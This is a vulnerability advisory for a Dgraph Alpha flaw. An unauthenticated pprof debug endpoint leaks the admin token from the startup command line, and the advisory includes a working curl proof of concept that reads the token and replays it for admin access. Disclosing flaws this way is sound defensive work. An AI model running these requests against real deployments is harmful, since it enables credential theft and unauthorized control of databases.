CVE-2026-40173

An unauthenticated debug endpoint in Dgraph Alpha exposes the full process command line, including the configured admin token from --security "token=...".

This does not break token validation logic directly; instead, it discloses the credential and enables unauthorized admin-level access by reusing the leaked token in X-Dgraph-AuthToken.

Details

The behavior occurs entirely within core Alpha HTTP routing and does not require any external proxy, plugin, or non-core integration.

The core issue is not that admin token protection is absent, but that the protected secret is exposed in cleartext through an unauthenticated core debug endpoint.

Relevant code paths:

• dgraph/cmd/alpha/run.go:17 imports net/http/pprof, which registers /debug/pprof/* handlers on the default mux.
• dgraph/cmd/alpha/run.go:533 uses http.Handle("/", audit.AuditRequestHttp(baseMux)), so default-mux handlers remain reachable.
• dgraph/cmd/alpha/admin.go:52 enforces admin token checks in adminAuthHandler for admin endpoints.
• dgraph/cmd/alpha/admin.go:74 shows /admin/config/cache_mb behind adminAuthHandler.

Credential-exposure chain:

1. /debug/pprof/cmdline is reachable without authentication.
2. Its output includes the configured admin token from process arguments.
3. The disclosed token is accepted by adminAuthHandler when sent as X-Dgraph-AuthToken.
4. An attacker gains unauthorized access to admin-only functionality.

Observed local evidence (safe validation):

• Request: GET /admin/config/cache_mb without token
  • Status: 200 (request rejected at application layer)
  • Body contains error: Invalid X-Dgraph-AuthToken
  • The endpoint returns HTTP 200 but indicates authentication failure in the response body.
• Request: GET /debug/pprof/cmdline without token
  • Status: 200
  • Body excerpt includes: --security=token=TopSecretToken123;
• Request: GET /admin/config/cache_mb with X-Dgraph-AuthToken: TopSecretToken123
  • Status: 200
  • Body: 4096

Important policy/triage clarification:

• This issue persists even when the admin-token security feature is enabled: the token itself is exposed via an unauthenticated core debug endpoint, making this more than a misconfiguration-only concern.
• Network restrictions (bind/whitelist/firewall) may reduce exposure, but they do not remediate the underlying credential disclosure behavior.

PoC

• Branch: main
• Commit: b15c87e93
• Describe: v25.3.1

Preconditions:

• Alpha HTTP port is reachable by attacker traffic.
• Admin token is configured via supported startup flag: --security "token=...".
• /debug/pprof/* is exposed on the same Alpha HTTP listener.
• This behavior occurs with documented startup flags and without any non-default or unsupported configuration.

Reproduction steps:

1. Start Zero and Alpha (example local setup):

   • dgraph zero --my=127.0.0.1:5280 --port_offset=200 --bindall=false --wal=./zw
   • dgraph alpha --my=127.0.0.1:7280 --zero=127.0.0.1:5280 --port_offset=200 --bindall=false --security "token=TopSecretToken123;" --postings=./p --wal=./w --tmp=./t

2. Verify admin endpoint rejects unauthenticated request:

   • curl -i http://127.0.0.1:8280/admin/config/cache_mb
   • Expected body includes Invalid X-Dgraph-AuthToken.

3. Read token from unauthenticated debug endpoint:

   • curl -s http://127.0.0.1:8280/debug/pprof/cmdline
   • Expected output includes --security=token=TopSecretToken123;.

4. Reuse leaked token against admin endpoint:

   • curl -i -H "X-Dgraph-AuthToken: TopSecretToken123" http://127.0.0.1:8280/admin/config/cache_mb
   • Expected: successful response (example observed: 4096).

Note: The PoC uses 127.0.0.1 only for safe local validation. The vulnerable condition is unauthenticated reachability of /debug/pprof/cmdline; in any deployment where Alpha HTTP is reachable by untrusted parties, the same token disclosure and subsequent unauthorized admin access apply.